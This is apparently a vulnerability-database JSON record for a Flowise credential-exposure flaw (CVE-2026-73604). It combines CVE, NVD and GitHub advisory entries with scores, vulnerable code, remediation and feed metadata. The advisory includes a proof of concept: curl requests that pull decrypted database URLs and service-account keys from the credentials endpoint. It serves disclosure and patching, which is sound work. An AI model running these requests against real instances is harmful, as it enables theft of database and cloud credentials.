{"id":"CVE-2026-73604","revision":null,"records":[{"revision":"475ab628fe2849278a33e549138ed012","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-73604","aliases":[],"title":"Flowise before 3.1.3 Credential Exposure via API","description":"Flowise before 3.1.3 contains an incomplete credential redaction vulnerability in the GET /api/v1/credentials/:id endpoint that returns decrypted secrets in plaintext. Authenticated users with credentials:view permission can retrieve sensitive data including database connection URLs with embedded passwords, cloud service account JSON with private keys, and API keys by calling this endpoint.","state":0,"publishedAt":"2026-08-13T11:28:10.144+00:00","modifiedAt":"2026-08-13T14:52:32.624+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"FlowiseAI\",\n                    \"product\": \"Flowise\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/flowise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.1.3\"\n                        },\n                        {\n                            \"version\": \"3.1.3\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rwrp-9823-p2xq","https://www.vulncheck.com/advisories/flowise-before-credential-exposure-via-api"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-73604","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-73604","identifiers":["CVE-2026-73604"]},"retained":false,"historicalAffected":[]},{"revision":"24d9bba282f94e0c9f4621ea557e5625","observedAt":"2026-10-25T15:19:09.409+00:00","statement":{"source":"nvd","id":"CVE-2026-73604","aliases":[],"title":"Flowise before 3.1.3 contains an incomplete credential redaction vulnerability in the GET /api/v1/credentials/:id endpoint that returns decrypted secrets in plaintext. Authenticated users with credentials:view permission can retrieve sensit…","description":"Flowise before 3.1.3 contains an incomplete credential redaction vulnerability in the GET /api/v1/credentials/:id endpoint that returns decrypted secrets in plaintext. Authenticated users with credentials:view permission can retrieve sensitive data including database connection URLs with embedded passwords, cloud service account JSON with private keys, and API keys by calling this endpoint.","state":0,"publishedAt":"2026-08-13T12:17:24.75+00:00","modifiedAt":"2026-10-24T15:10:00.19+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rwrp-9823-p2xq","https://www.vulncheck.com/advisories/flowise-before-credential-exposure-via-api"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73604","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-200"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-13T12:17:24.750","lastModified":"2026-10-24T15:10:00.190"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-73604","identifiers":["CVE-2026-73604"]},"retained":false,"historicalAffected":[]},{"revision":"4a8eb29a854d41ceb19f688131881e8f","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-rwrp-9823-p2xq","aliases":["CVE-2026-73604"],"title":"Flowise: Incomplete Credential Redaction Exposes Secrets via API","description":"## Summary\n\nThe `GET /api/v1/credentials/:id` endpoint decrypts stored credential data and returns it in the `plainDataObj` field of the API response. While a `redactCredentialWithPasswordType()` function masks fields defined with `type: 'password'` in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as `type: 'string'`. These string-type fields are returned in **full plaintext** without any redaction.\n\nAny authenticated user with `credentials:view` permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint.\n\n## Vulnerable Code\n\n### Service Layer\n\n**`packages/server/src/services/credentials/index.ts`**, `getCredentialById()` (line 127):\n\nAt line 138, the credential's encrypted data is decrypted:\n\n```typescript\nconst decryptedCredentialData = await decryptCredentialData(\n    credential.encryptedData,\n    credential.credentialName,\n    appServer.nodesPool.componentCredentials\n)\n```\n\nAt lines 143-146, the decrypted data is attached to the response as `plainDataObj`:\n\n```typescript\nconst returnCredential: ICredentialReturnResponse = {\n    ...credential,\n    plainDataObj: decryptedCredentialData    // <-- decrypted secrets in response\n}\n```\n\nAt line 147, only `encryptedData` is stripped, leaving `plainDataObj` intact:\n\n```typescript\nconst dbResponse: any = omit(returnCredential, ['encryptedData'])\n```\n\n### Incomplete Redaction\n\n**`packages/server/src/utils/index.ts`**, `redactCredentialWithPasswordType()` (line 1697):\n\n```typescript\nexport const redactCredentialWithPasswordType = (\n    componentCredentialName: string,\n    decryptedCredentialObj: ICredentialDataDecrypted,\n    componentCredentials: IComponentCredentials\n): ICredentialDataDecrypted => {\n    const plainDataObj = cloneDeep(decryptedCredentialObj)\n    for (const cred in plainDataObj) {\n        const inputParam = componentCredentials[componentCredentialName].inputs?.find(\n            (inp) => inp.type === 'password' && inp.name === cred  // <-- only 'password' type\n        )\n        if (inputParam) {\n            plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE\n        }\n    }\n    return plainDataObj\n}\n```\n\nThis function **only** redacts fields where `inp.type === 'password'`. Fields with `type: 'string'` are returned verbatim, even when they contain secrets.\n\n### Credential Definitions Storing Secrets in String-Type Fields\n\n| Credential | Field | Type | Contains |\n|---|---|---|---|\n| `mongoDBUrlApi` | `mongoDBConnectUrl` | `string` | `mongodb+srv://user:password@host/db` |\n| `googleVertexAuth` | `googleApplicationCredential` | `string` | Full service account JSON with RSA private key |\n| `postgresUrl` | `postgresUrl` | `string` | `postgresql://user:password@host/db` |\n| `redisCacheUrlApi` | `redisUrl` | `string` | `redis://user:password@host:port` |\n| `awsApi` | `awsKey` | `string` | AWS Access Key ID |\n| `langfuseApi` | `langFusePublicKey` | `string` | Langfuse API public key |\n| `httpBasicAuth` | `basicAuthUsername` | `string` | HTTP Basic Auth username |\n\nThere are 60+ credential definitions in `packages/components/credentials/`, many with sensitive string-type fields.\n\n## Proof of Concept\n\n### Environment\n\n- Flowise v3.0.13 (`flowiseai/flowise:latest` Docker image)\n- Authenticated as admin user via enterprise auth\n\n### Steps to Reproduce\n\n1. Start Flowise and log in as any user with `credentials:view` permission.\n2. Create a MongoDB credential with a connection URL containing embedded credentials:\n\n```bash\ncurl -X POST \"http://TARGET:3000/api/v1/credentials\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-request-from: internal\" \\\n  -H \"Cookie: token=<jwt-token>\" \\\n  -d '{\n    \"name\": \"MongoDB Production\",\n    \"credentialName\": \"mongoDBUrlApi\",\n    \"plainDataObj\": {\n      \"mongoDBConnectUrl\": \"mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb\"\n    }\n  }'\n```\n\n3. Retrieve the credential by ID:\n\n```bash\ncurl -X GET \"http://TARGET:3000/api/v1/credentials/<credential-id>\" \\\n  -H \"x-request-from: internal\" \\\n  -H \"Cookie: token=<jwt-token>\"\n```\n\n### Observed Result\n\nThe API returns the MongoDB connection URL in **full plaintext**, including the embedded password:\n\n```json\n{\n  \"id\": \"e9543cad-8c0c-422e-9990-090c3b1dc3ab\",\n  \"name\": \"MongoDB Production\",\n  \"credentialName\": \"mongoDBUrlApi\",\n  \"createdDate\": \"2026-02-07T17:35:29.000Z\",\n  \"updatedDate\": \"2026-02-07T17:35:29.000Z\",\n  \"plainDataObj\": {\n    \"mongoDBConnectUrl\": \"mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb\"\n  }\n}\n```\n\nThe same test with a Google Vertex Auth credential returned the **complete service account JSON including the RSA private key** in plaintext:\n\n```json\n{\n  \"id\": \"f7768444-a4fc-4fa3-8e5e-d0d4df89fb56\",\n  \"name\": \"Google Vertex Auth\",\n  \"credentialName\": \"googleVertexAuth\",\n  \"plainDataObj\": {\n    \"googleApplicationCredential\": \"{\\\"type\\\":\\\"service_account\\\",\\\"private_key\\\":\\\"-----BEGIN RSA PRIVATE KEY-----\\\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\\\n-----END RSA PRIVATE KEY-----\\\\n\\\",\\\"client_email\\\":\\\"mybot@my-project-123.iam.gserviceaccount.com\\\"}\",\n    \"projectID\": \"my-project-123\"\n  }\n}\n```\n\nFor comparison, an OpenAI API key (where the field is typed as `password`) was **correctly redacted**:\n\n```json\n{\n  \"plainDataObj\": {\n    \"openAIApiKey\": \"_FLOWISE_BLANK_07167752-1a71-43b1-\"\n  }\n}\n```\n\nThis confirms the redaction is only applied to `password`-type fields, leaving `string`-type fields fully exposed.\n\n## Impact\n\n- **Database credential theft**: MongoDB, PostgreSQL, Redis, MySQL connection URLs with embedded passwords are returned in full plaintext. An attacker can use these to directly access production databases.\n- **Cloud service account compromise**: Google service account JSON with RSA private keys is returned in plaintext, enabling full impersonation of the service account across Google Cloud.\n- **AWS key exposure**: AWS Access Key IDs stored in `string`-type fields are exposed, enabling enumeration of active AWS credentials.\n- **Lateral movement**: Stolen credentials enable pivoting from the Flowise instance to connected cloud services, databases, and APIs.\n- **Multi-user workspace risk**: In multi-user deployments, any user with `credentials:view` permission can harvest all workspace credentials via the API.\n\n## Remediation\n\n1. Apply `redactCredentialWithPasswordType()` to **all** sensitive credential fields, not just those typed as `password`. Any field containing secrets (connection strings, JSON credentials, access keys) should be redacted.\n2. Consider never returning `plainDataObj` in API responses. The UI should use masked previews (e.g., `mongodb+srv://admin:****@cluster0...`) instead of full values.\n3. Re-type sensitive credential fields from `string` to `password` in component credential definitions to ensure they are covered by the existing redaction logic.\n4. Add a separate `secret: true` flag to credential field definitions to explicitly mark sensitive fields regardless of their input type.","state":0,"publishedAt":"2026-08-04T17:57:35+00:00","modifiedAt":"2026-08-14T04:12:07.5277639+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rwrp-9823-p2xq","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://github.com/advisories/GHSA-rwrp-9823-p2xq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rwrp-9823-p2xq","identifiers":["GHSA-rwrp-9823-p2xq","CVE-2026-73604"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-25T23:02:08.9235896+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-25T23:02:08.9235896+00:00","lastSuccessAt":"2026-10-25T23:02:09.0869487+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:09.0869513+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-1a687ad2a0b90150aa7d97c9f39e63de695ae2db23e31ebc28df1492c461b23c-5e0a45ae0cf63c80268dd44eaeb20879d480eba4da3306bde3dcd925fa4c114f","complete":true,"records":414047,"lastAttemptAt":"2026-10-25T23:02:08.5196863+00:00","lastSuccessAt":"2026-10-25T23:02:08.4495153+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.5196863+00:00","snapshotPublishedAt":"2026-10-25T22:26:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-25T23:02:11.7890287+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-25T23:02:08.9235896+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-25T23:02:08.9235896+00:00","lastSuccessAt":"2026-10-25T23:02:09.087647+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:09.08765+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-25T23:02:09.6218557+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-25T23:02:08.8808579+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.8808579+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-25T23:02:08.6737644+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.6737644+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-25T23:02:08.8933341+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.8933341+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-11236ada05a0588e51df37636716526867f73fb127392c49680b6f8561496a99","complete":true,"records":230781,"lastAttemptAt":"2026-10-25T23:02:08.7805888+00:00","lastSuccessAt":"2026-10-25T22:04:07.173333+00:00","error":null,"lastVerifiedAt":"2026-10-25T23:02:08.7805888+00:00","snapshotPublishedAt":"2026-10-25T21:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}